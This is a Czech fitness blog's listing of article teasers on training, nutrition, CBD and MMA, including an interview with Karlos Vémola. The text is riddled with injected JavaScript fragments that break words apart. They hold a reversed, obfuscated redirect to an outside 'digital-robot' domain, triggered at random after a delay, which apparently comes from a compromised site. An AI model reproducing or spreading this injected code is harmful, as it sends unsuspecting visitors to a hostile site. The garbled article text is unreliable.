• Tréninky

    SPALOVÁNÍ TUKŮ BEZ KARDIA

    Je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to vůbec možné? Mezi příznivci silových sportů nebývají aerobní aktivity a kardio tréninky zrovna v oblibě. Současně ale přicházejí okamžiky, kdy chcete tvrdě vybudované svaly ukázat světu a zjišťujete, že svaly skryté pod vrstvou podkožního tuku nejsou zrovna atraktivní.   Nabízí se dvě možnosti: můžete se s větší či menší nechutí pustit do aerobních aktivit; vsadíte na metobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tody, které vám pomohou tuky spálit i bez stacionárního kola, běhacího pásu a dalších – pro vás – nepopulárních činností.   Kdo se přiklání k posledně zmíněné variantě, ať směle pokračuje ve čtení. Existují tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž i techniky…

  • Tréninky,  Výživa

    SEDMERO ZÁKONŮ SVALOVÉHO RŮSTU

    Dodržujte je a během tří měsíců dosáhnete výrazného nárůstu svalové hmoty. Za šest měsíců si všimnete nepřehlédnutelných změn v podobě kvalitní muskularity. DŮSLEDNOST V TRÉNINKU To je nejdůležitější faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor všech úspěšných cvičebních programů. Častobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to si myslíme, že někdo dosahuje kvalitních výsledků, protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože má „skvělou genetiku“. To sice také může být pravda, ale úspěšní bývají především ti sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovci, kteří vynikají ve vytrvalosti, soustředění a důslednosti….a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to jak v posilovně, tak v kuchyni. Bez ohledu na vaše genetické schopnosti budovat svalovou hmotu, většinou můžete nabrat…

  • Tréninky

    VELKÝ PŘÍNOS VOLNÉ ZÁTĚŽE

    Nejste si jistí, jaký druh volné zátěže zvolit a kdy? Tady je všechno, co potřebujete vědět. Ti, kteří s posilovacím tréninkem začínají, bývají častobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to zahlceni vybavením posiloven. Kam se podívají, tam číhají stroje a pomůcky, s nimiž si mnohdy neví rady. Chce tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hlavně nepropadat panice a držet se základů, což obvykle znamená – činek! JEDNORUČKY Jsou velmi efektivní a univerzální. Kdybyste si měli vybrat jednu pomůcku do svojí domácí posilovny, rozhodně by tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to měl být pár jednoruček. Jednoručky můžete použít dvě zároveň, a navíc nabízí možnost unilaterálního procvičení, kdy se pohybuje…

  • Výživa

    SÍLA HOŘČÍKU

    Jeden z nejvíce podceňovaných minerálů – hořčík, je pro udržení pevného zdraví a optimální výkonnosti naprostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to nezbytný. Víte, jak ho doplnit?   Minerály jsou pro naše zdraví velmi důležité, protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože zajišťují správnou aktivaci nervového systému i svalů. Regulují metabolismus, udržují pH a umožňují transport živin buněčnými membránami. Je zcela zásadní, abyste každý den přijímali potřebné množství těchtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to látek, bohužel bývá v praxi situaci poněkud jiná. „Realita je taková, že půda, v níž pěstujeme řadu plodin, už není tak bohatá na živiny, jako tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu bylo dřív,“ říká Carolyn Dean, M.…

  • MMA

    HISTORIE MMA

    PRVNÍ MMA ZÁPAS SE ODEHRÁL PŘED NAŠÍM LETOPOČTEM… …prameny tvrdí, že roku 648 př. n. l. a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to v rámci starořeckých olympijských her. Boj tenkrát neměl žádná pravidla. Zápas končil buď knock-outem jednoho účastníka nebo pokud se jeden z aktérů vzdal. Není tedy divu, že taková podívaná trvala častobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to i několik hodin. Část histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toriků se domnívá, že značný vliv měl na rozvoj bojových umění i Alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andr Veliký, díky jeho tažení se metobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tody zápasu dostaly do Asie. Každopádně pak trvalo hned…

  • Tréninky

    Lze pomocí cvičení maximalizovat hladinu testobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tosteronu?

    Připravil: Jonathan Mike, PhD, CSCS, NSCA-CPT POSILOVÁNÍ MŮŽE BÝT TOU NEJLEPŠÍ STIMULACÍ PRO NÁRŮST HLADINY TESTOSTERONU. Když přijde řeč na nárůst síly a svalů, pak je jednou z hlavních tréninkových filosofií použití vysokých zátěží. Mnozí jistě dodají, že je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to současně i vysoký objem tréninku, ale i tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ve skutečnosti znamená nejrůznější varianty cviků prováděných s velkou váhou, ať už se jedná o dřepy, mrtvý tah, bench press či tlaky na ramena. Už nějakou dobu víme, že určitý tréninkový protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tokol má výrazný vliv na hormonální reakci těla. Mnohé cvičební programy jsou tedy sestavovány tak,…

  • Výživa

    CBD V 10 OTÁZKÁCH…                          …A ODPOVĚDÍCH

      Co se skrývá pod tajemnou zkratkou? Jaké výzkumy potvrzují účinky CBD? Co můžeme od užívání produktů s obsahem kanabidiolu očekávat?   CO JE CBD? Toutobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to zkratkou označujeme kanabidiol, látku přirozeně se vyskytující v konopí. Patří do skupiny tzv. kanabinoidů. Stejně jako známé THC má i CBD vysoký terapeutický potenciál ověřený mnoha studiemi. Na rozdíl od THC (tetrahydrokanabinolu) ovšem nemá psychoaktivní účinky a je 100% legální. K JAKÝM ÚČELŮM SE CBD NEJČASTĚJI POUŽÍVÁ? V současné době tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to jsou především: zmírnění zánětu, harmonizace přirozených procesů těla, podpora regenerace, tlumení bolesti, poruchy spánku i trávení. Do budoucna se ovšem otevírá mnohem širší terapeutické použití.…

  • Tréninky,  Výživa

    LÉTO V SUPER FORMĚ

    Připravil: Tomáš Novotný, lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia Kdy jindy do tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho pořádně šlápnout než během léta.  Jak ale jednotlivé pohybové aktivity nakombinovat , aby tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to přineslo vysněné výsledky? Naučte se zvládat cviky s vlastní vahou, nebojte se ani zátěží v posilovně a naplánujte si letní sporty tak, aby se ve vašem týdenním režimu ideálně doplňovaly. Jak na vyrýsovanou postavu? Mnoho lidí běhá, cvičí nebo jezdí na kole téměř závodním tempem, ovšem jejich cílem není vyhrát olympiádu, chtějí jen dobře vypadat. Co tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ale ve skutečnosti znamená? Vypadat dobře…

  • Tréninky,  Výživa

    BEZ PRÁCE NEJSOU BŘICHÁČE

    Jak vyrýsovat břišní svaly? Máme pro vás pár tipů. Vyrýsované břicho a dokonalý „V“ tvar trupu – po tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}touží každý. Ale jak tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho skutečně dosáhnout? To a mnohem více se dozvíte v našem článku. Kdo by nechtěl pořádné břicháče – je za tím ale vážně spousta dřiny. Neznamená tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž, že když budete cvičit sklapovačky, trénovat každý den a dopovat se suplementy, zákonitě dosáhnete cíle. Naopak – jen cviky na břicho v tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var…

  • MMA

    „Mnohdy rozhoduje jedna rána,“ říká KARLOS TERMINÁTOR VÉMOLA.

    Ve valné většině případů je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to právě jeho rána a díky ní si na své kontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to připisuje další vítězství. Prvenství mu podle všeho bylo dáno do vínku. Konec konců narodil se první prázdninový den, celkem šestkrát byl první na Mistrovství ČR v zápase, vyhrál i svůj první zápas v MMA, a dokonce i první kulturistickou soutěž, které se v jednadvaceti letech zúčastnil ve Velké Británii.   Co vás přivedlo od kulturistiky k bojovým uměním? K MMA mě přivedla – pro moje fanoušky už poměrně známá věc – v době svojí kulturistické kariéry jsem si přivydělával v jednom londýnském klubu jako vyhazovač. Jeden večer jsem odtamtud…